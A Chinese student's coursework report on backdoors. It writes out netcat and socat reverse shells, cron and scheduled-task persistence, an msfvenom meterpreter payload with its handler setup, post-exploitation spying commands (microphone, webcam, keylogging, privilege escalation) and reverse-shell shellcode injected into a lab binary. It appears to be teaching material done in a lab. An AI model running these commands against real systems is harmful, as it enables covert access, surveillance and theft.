20174311 唐嘉 《网络对抗技术》Exp2 后门原理与实践

   一、实验要求

   (一)使用nc实现win,mac,Linux间的后门连接

   (二)meterpreter的应用

   (三) MSF POST 模块的应用

     二、 实验内容

   (一)使用netcat获取主机操作Shell,cron启动。

    (二)使用socat获取主机操作Shell, 任务计划启动。

   (三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。

   (四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。

   (五)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

   三、实验步骤及结果

  (一)ncat

    netcat是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。Linux一般自带netcat,"man netcat"或"man nc"可查看其使用说明。

          Windows中安装ncat,在 课程主页附件中下载ncat.rar解压即可使用。这里笔者下载解压到D盘上。

    1.Win获得Linux Shell

    先查看一下windows端的IP地址(ipconfig)。

   在windows中下载好netcat后,切换到文件目录,用 ncat.exe -l -p 4311 命令打开监听。

        接下来打开Kali,用nc 192.168.1.110 4311 -e /bin/sh 指令来进行反弹式连接。

          可以发现Windows已经获得了Linux的shell,可以运行任何的指令。(这里笔者用ls和pwd指令作为示例)

    2.Linux获得Win Shell

    首先,在Linux端运行监听指令nc -l -p 4311。

    接着需要知道Kali的ip地址,通过ifconfig指令可以查得kali端的ip地址为192.168.80.135。

    接下来就在windows上进行反弹连接,在windows端输入指令ncat.exe -e cmd.exe 192.168.80.135 4311。

    这样Linux就获得了windows的shell。在命令行界面,可以执行windows的命令,这里笔者用ipconfig为例。

    3.通过nc传输数据和文件

    首先在windows端运行监听指令。

       使linux与windows建立连接。

    连接建立成功后,可以进行字符数据的传输了。

 

    这里笔者也尝试了一下用nc传输文件,文件传输方向为从Kali到Windows。因为要从kali把文件传给windows,要先在kali端创建文件。

    在文件内容里笔者输入hello,保存内容并退出文件。

 

    在Windows下监听4311端口,并把收到的数据保存到kali.out中,指令为ncat.exe -l 4311 > kali.out。(好吧,突然发现我当时截的图片找不到了,那我只能把步骤写写)。连接建立成功,在kali端输入指令nc 192.168.1.110 4311< kali.txt,kali可以收到Windows发来的文件。(这里笔者修改了文件后缀名查看的文件传输内容)

  (二)Meterpreter

    Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。 

     任务一:使用netcat获取主机操作Shell,cron启动

      Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

   在windows中开启监听,使用 ncat.exe -l 4311 命令监听4311端口。

   crontab指令增加一条定时任务,"-e"表示编辑。并选择编辑器3,在底行插入*/1 * * * * /bin/netcat 192.168.1.110 4311 -e /bin/sh,即每隔一分钟就反向连接主机的4311端口。

    保存、退出后配置即生效。可以通过"crontab -l"来查看,"-l"表示list。

    1分钟后执行指令,可以发现已经获得了shell。

   任务二:使用socat获取主机操作Shell, 任务计划启动

    在附件中把老师上传的socat压缩包下载下来并解压好。在Windows系统下,打开控制面板->系统和安全->管理工具找到任务计划程序,点击创建任务。

点击触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时。

    在操作选项卡,点击新建,在“程序或脚本”中选择socat.exe文件的路径,添加参数中填写tcp-listen:4311 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4311,同时把cmd.exe的stderr重定向到stdout上。

   创建完成之后,键入windows+L锁定计算机再次登录,让任务开始执行。

 

    在Kali环境下输入指令 socat -tcp:192.168.1.110:4311,可以发现已经获得了cmd的shell,看到了命令行界面(这里笔者使用ipconfig来验证)。

 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    生成4311_backdoor.exe,复制到Windows端。在Kali中输入命令如下(由于是在Linux中生成后门,所以此处的ip地址是Kali的ip地址):msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.135 LPORT=4311 -f exe > 4311_backdoor.exe

 

         在Windows下执行 ncat.exe -l 4311 > 4311_backdoor.exe,使被控主机进入接收文件模式。

 

    在kali中执行nc 192.168.1.110 4311 < 4311_backdoor.exe,将生成的后门程序传送到主机上。(这里碰到了一个困扰了我好久的文件无法传输问题,在后面的问题解决中我会详细写一下)

    可以在文件夹里看到后门程序已经成功传输。

 

     接下来就是用MSF打开监听进程。在Kali中重新打开一个终端,输入msfconsole进入msf控制台,依次输入:

    use exploit/multi/handler //使用监听模块,设置payload

    set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload

    set LHOST 192.168.80.135

    set LPORT 4311

    exploit //设置完成,开始监听

    输入指令完成后,找到刚刚传输成功的后门程序,双击打开该文件。可以发现,Kali中已经获取了windows的shell。(这里笔者用ipconfig来验证)

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;

    1.音频

    保持任务三的状态,输入 record_mic 可以截获一段音频。

    根据文件目录就可以找到该文件。

    2.拍照/摄像

    输入 webcam_snap / webcam_stream 指令可以使用摄像头进行拍照/摄影。

    好吧,我承认我电脑的摄像头坏了,在这一步我碰到了两个问题,在之后的问题中我也会详细的讲到解决办法。

但是为了保证实验的效果,我还是通过webcam_list指令查找了一下可用的设备。

    发现这里确实有可用的设备,但是我主机上的摄像头从上一次重装系统后就出了问题,所以这里拍不了。(在后面的问题中我会详细说)

    3.截屏

    输入 screenshot 指令就可以进行截屏。

    根据文件目录可以找到具体的截屏图片。

    4.获取击键记录

    输入 keyscan_start 开始记录下击键,输入 keyscan_dump 指令读取击键的记录。

    我在微信上打了20174311 tangjia,又点了几下Backspace,可以看到这里已经将我的击键内容都展现出来了。

    5.提权

    先使用getuid指令查看当前用户,使用getsystem指令进行提权。

   可以观察到提权成功。

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    第一步要先生成shellcode,https://www.exploit-db.com/shellcodes搜索并下载一个linux/x86 - Reverse的文件,用记事本打开查看里面的机器码。

    下面的步骤就跟实验一的有点类似了,查看查看shellcode的地址,这里的详细过程我就省略了。

 

    我的地址是0xffffd32c+4=0xffffd33c。修改生成input文件,指令为perl -e 'print "A" x 32;print"x3cxd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input11

    接着打开另一个终端,打开msf控制台,输入以下内容:

use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1(根据前面下载的源文件获得)
set LPORT 4444(根据前面下载的源文件获得)
exploit

    在前面打开的终端中输入指令,(cat input11;cat) | ./pwn1。

        接着在另一个终端上就可以使用shell了,证明反弹连接成功。

   四、实验遇到的问题及解决

    这次实验有两个问题卡了我很久,第一个问题是在后门程序传输过程中出现的无法传输的问题。

    这个问题首先想到可能是防火墙没关闭或者杀毒软件没关闭,于是我以此检查了主机和kali防火墙的开关情况,确定防火墙关闭后,又把360杀毒软件关闭,再进行文件传输发现还是不行,无奈之下我选择重启虚拟机发现还是不行,此时我就有点迷茫了,而且时间拖得越久就越浮躁,结果我就打开任务管理器看了一下,想想是不是后台运行的程序的影响,发现360还是在后台工作,于是为了以防万一,我先把这个后台程序添加为可信任对象,想想这样万一再失败,于是我干脆卸载了360(此时心态起伏波动),然后重启虚拟机再做,发现还是失败,这个时候我心态其实有点炸裂了。最后实在没有办法,我尝试修改一下端口号,不用我的学号4311作为端口号进行设置,发现奇迹般的传输成功了,这时候我真的是哭笑不得,但好在问题解决了。

    我碰到的第二个大问题是摄像头的问题,在尝试打开摄像头的时候老是出现下面的报错:

    碰到这个错误我就很迷茫了,因为我百度也没有搜到跟我一样的问题,我也不知道去哪了解这个731问题,但在百度过程中我发现了上几级的学长学姐有碰到类似的1411问题的,是因为设备共享的问题,我照着他们的解决办法查看了一下发现我的设备共享没有问题,于是乎我陷入了迷茫。不过说来也巧,这个问题的最终判定竟然是一次微信视频电话,我跟一个朋友开微信视频电话的时候是用电脑接的,然后那边就说看不见我,但我确定已经打开摄像头了,我这时才反应过来是我电脑的摄像头出了问题,自从上次重装系统后电脑就出现了一些硬件问题,然后我下载了一个软件叫驱动人生想找找摄像头的问题,但是软件查找问题后给我反馈下面的信息:

    既然这里显示正常我也不知道为啥了,自从重装系统后,这个界面跟我之前的界面有些差距,一些硬件设置我也找不到了,现在疫情期间也没办法出门修,于是摄像头这一步我也只能做到这了。

   五、实验思考与心得

   (一)基础问题回答

    1.例举你能想到的一个后门进入到你系统中的可能方式?

    安装了带有后门的盗版软件。这个我怀疑我自己电脑上就被装了后门,因为之前下过一下小软件(不是ghs,嘿嘿),然后电脑上就会出现莫名的广告弹窗,360都解决不了。

    2.例举你知道的后门如何启动起来(win及linux)的方式?

          Windows:开机自启动,双击打开软件的时候启动以及远程开启系统后门等。这个我电脑上就有开机启动后自动弹窗,我也好想知道怎么关掉。

      Linux:注入shellcode,任务计划启动等。

    3.Meterpreter有哪些给你映像深刻的功能?

    能够控制摄像头拍照录像、记录你的击键内容等等,这些原本在电影电视剧中看到的镜头没想到这样就可以实现了,可见网络安全还是要十分重视的。

    4.如何发现自己有系统有没有被安装后门?

    我觉得就现在的水平主要还得靠一些杀毒软件吧,比如说常见的360,但是根据学过的知识还是有很多理论上的办法,比如说依靠防火墙或者入侵检测系统的拦截信息,还有日志信息、注册表信息、异常端口等等。

   (二)实验心得

    虽然说这次实验心态很多次炸裂,因为确实碰到了好多奇怪的问题,有的甚至我去百度都搜不到类似的,很多次搞得我很迷茫,但是当实验做成功了我觉得还是蛮有意思的,因为像调取摄像头拍照拍视频啊这些原以为黑客操作的内容自己也实际操作了一把,而且我也觉得老师说的那句话蛮对的:有问题才叫生活嘛。虽说解决问题的过程有些痛苦,但最终的结果还是比较好的,最后还是感谢这次实验吧,让我见识到了一些蛮新的东西,希望在下次的实验中自己的水平能够继续提高。

  

 

 

 

原文地址:https://www.cnblogs.com/bestitj/p/12535888.html